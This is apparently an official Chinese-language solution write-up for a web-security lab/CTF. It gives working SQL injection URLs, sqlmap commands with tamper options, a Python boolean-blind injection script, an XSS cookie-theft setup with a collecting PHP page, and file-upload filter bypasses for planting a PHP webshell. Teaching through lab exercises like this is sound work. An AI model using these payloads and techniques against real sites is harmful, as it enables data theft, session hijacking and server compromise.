Web漏洞实战官方题解

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

这个题目是Union型sql注入,没有进行任何过滤,可以通过sqlmap或者手注。

通过单引号截断sql查询语句:

可以利用and 1=2进行union注入,获取注入结果回显:

2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显:

表名错误的话则查询不到数据:

列名类似,最终的POC:

http://10.3.242.167/hackit/question/sqli1/index.php?id=1' and 1=2 union select 1,flag from flag %23

得到:

如果使用sqlmap的话:

首先使用-u判断是否存在注入:

发现可以Union、布尔型、基于时间……于是,分别使用—dbs –tables –columns可以得到数据库名、表名、列名,最后用:

sqlmap.py -u "http://10.3.242.167/hackit/question/sqli1/index.php?id=1" -D one -T flag –dump

这个题目过滤了一些关键字,但是可以利用大小写混写进行绕过:

将and关键字用&&代替,注意要进行url编码,最后的payload如下:

http://10.3.242.167/hackit/question/sqli2/index.php?id=1' %26%26 1=2 UNion sElect 1,flag fRom flag %23

这个看泽哥注入的时候,发现可以利用—tamper=randomcase,使用sqlmap的随机大小写关键字脚本,直接也可以得到结果:

sqlmap.py -u "http://10.3.242.167/hackit/question/sqli2/index.php?id=1" --tamper=randomcase

后面的同第一个:

这个题目看源码可以发现把union整个给过滤了,所以只能通过Bool型盲注了:

通过substr取出第一位然后用ascii码判断,可以得到第一位的ascii码为84,即’T’

写一个简单的盲注脚本:

# /usr/bin/python

#coding:utf-8

import requests

import re

import base64

import time

import binascii

want = ''

for i in range(1, 33):

number = str(i)

for ss in range(0x0, 0xff+1):

u = 'http://10.3.242.167/hackit/question/sqli3/index.php?id=1\' %26%26 exists(seLect flag From flag where ascii(substr(flag, ' + str(number) + ', 1))=' + str(ss) + ') %23' s = requests.Session()

c = s.get(u)

content = c.content

if 'look me!' in content:

print u

want = want + chr(ss)

print want

break

print want

运行脚本得到最后的结果:

反射型XSS和存储型XSS只在第一个页面进行了过滤,提交内容后进入第二个页面,这个页面并没有做过滤,因为是想让大家了解一下反射型XSS和存储型XSS的不同点以及XSS的简单利用(盗取cookie)。chrome浏览器对反射型xss 做了过滤,为了达到效果,特在Firefox下演示。

输入name后在第二个页面的输入框输fddf,效果如下图,说明插入的js脚本被成功执行。

接下来考虑盗取cookie。

本地web服务器下准备一个3.php文件,内容如下图,主要功能是接受传过来的参数,名为cookie,然后将其写到cookie.txt文件里面。

在第一个页面输入name后进入第二个页面中输入如下内容(如下语句的功

能其实就是请求上面的3.php,并把cookie作为参数传过去),

如下图所示,cookie.txt中已经有接受到的cookie。

我在后台把大家在 2.php中输入的内容存到了message.txt中,然后在message.php把内容读出来,这里是构造一种简单的存储型XSS场景,区别于反射型XSS中把2.php中输入的内容直接echo出来。

先在本地web服务器上准备一个3.php,内容跟上面一样,然后,在第一个页面输入name后(我这里输入name111,所以cookie的内容是name=name111)进入2.php,在2.php中输入:

访问message.php即可收到cookie。

这题是通过上传文件的类型来判断能否通过上传,传个php一句话,然后抓个包:

会提示上传出错,这里修改Content-type=image/jpeg,然后重放数据包:

这样就看到了第一枚flag,这里利用apache+windows的特性,针对”php ”或“php.”会保存成“php”,这里修改文件名为“1.php..”,然后重放数据包:

相关文档
最新文档